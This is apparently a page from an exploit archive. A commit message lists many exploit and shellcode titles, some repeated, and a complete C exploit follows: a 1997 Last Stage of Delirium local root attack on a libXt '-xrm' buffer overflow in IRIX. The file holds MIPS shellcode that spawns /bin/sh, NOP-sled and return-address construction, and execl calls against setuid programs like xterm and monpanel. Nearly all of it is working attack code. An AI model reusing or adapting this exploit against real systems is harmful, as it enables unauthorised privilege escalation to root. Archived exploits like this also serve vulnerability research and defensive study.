880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
84 lines
No EOL
3.4 KiB
C
84 lines
No EOL
3.4 KiB
C
/*
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source: https://www.securityfocus.com/bid/237/info
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The libXt library is part of the X Windows system. There are several buffer overflow conditions that may allow an unauthorized user to gain root privileges through setuid and setgid programs that are linked to libXt. These problems were openly discussed on the Bugtraq mailing list in 1996, this discussion led the OpenGroup (maintainers of the X-Windowing System) to release a new version of X Windows which was more thoroughly audited and which hopefully addressed a series of buffer overflows.
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*/
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/*## copyright LAST STAGE OF DELIRIUM jan 1997 poland *://lsd-pl.net/ #*/
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/*## libxt.so -xrm #*/
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#define NOPNUM 8000
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#define ADRNUM 2000
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#define PCHNUM 2000
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#define TMPNUM 2000
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#define ALLIGN 3
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char shellcode[]=
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"\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */
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"\x24\x02\x03\xf3" /* li $v0,1011 */
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"\x23\xff\x01\x14" /* addi $ra,$ra,276 */
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"\x23\xe4\xff\x08" /* addi $a0,$ra,-248 */
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"\x23\xe5\xff\x10" /* addi $a1,$ra,-240 */
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"\xaf\xe4\xff\x10" /* sw $a0,-240($ra) */
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"\xaf\xe0\xff\x14" /* sw $zero,-236($ra) */
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"\xa3\xe0\xff\x0f" /* sb $zero,-241($ra) */
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"\x03\xff\xff\xcc" /* syscall */
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"/bin/sh"
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;
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char jump[]=
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"\x03\xa0\x10\x25" /* move $v0,$sp */
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"\x03\xe0\x00\x08" /* jr $ra */
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;
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char nop[]="\x24\x0f\x12\x34";
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main(int argc,char **argv){
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char buffer[20000],adr[4],pch[4],tmp[4],*b;
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int i,n=-1;
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printf("copyright LAST STAGE OF DELIRIUM jan 1997 poland //lsd-pl.net/\n");
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printf("libxt.so -xrm for irix 5.2 5.3 6.2 6.3 IP:17,19,20,21,22,32\n\n");
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if(argc!=2){
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printf("usage: %s {monpanel|printers|dmplay|datman|xwsh|cdplayer|"
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"xconsole|xterm}\n",argv[0]);
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exit(-1);
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}
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if(!strcmp(argv[1],"monpanel")) n=0;
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if(!strcmp(argv[1],"printers")) n=1;
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if(!strcmp(argv[1],"dmplay")) n=2;
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if(!strcmp(argv[1],"datman")) n=3;
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if(!strcmp(argv[1],"xwsh")) n=4;
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if(!strcmp(argv[1],"cdplayer")) n=5;
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if(!strcmp(argv[1],"xconsole")) n=6;
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if(!strcmp(argv[1],"xterm")) n=7;
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if(n==-1) exit(-1);
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*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+15000+8000;
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*((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+15000+15300+1000;
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*((unsigned long*)pch)=(*(unsigned long(*)())jump)()+15000+15300+1000+2000;
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b=buffer;
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for(i=0;i<ALLIGN;i++) *b++=0xff;
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for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
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for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
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*b++=0xff;
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*b++=0xff;
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for(i=0;i<TMPNUM;i++) *b++=tmp[i%4];
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for(i=0;i<ALLIGN;i++) *b++=0xff;
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for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
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for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
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*b=0;
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switch(n){
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case 0: execl("/usr/sbin/monpanel","lsd","-xrm",buffer,0);
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case 1: execl("/usr/sbin/printers","lsd","-xrm",buffer,0);
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case 2: execl("/usr/sbin/dmplay","lsd","-xrm",buffer,0);
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case 3: execl("/usr/sbin/datman","lsd","-xrm",buffer,0);
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case 4: execl("/usr/sbin/xwsh","lsd","-xrm",buffer,0);
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case 5: execl("/usr/bin/X11/cdplayer","lsd","-xrm",buffer,0);
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case 6: execl("/usr/bin/X11/xconsole","lsd","-xrm",buffer,0);
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case 7: execl("/usr/bin/X11/xterm","lsd","-xrm",buffer,0);
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}
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} |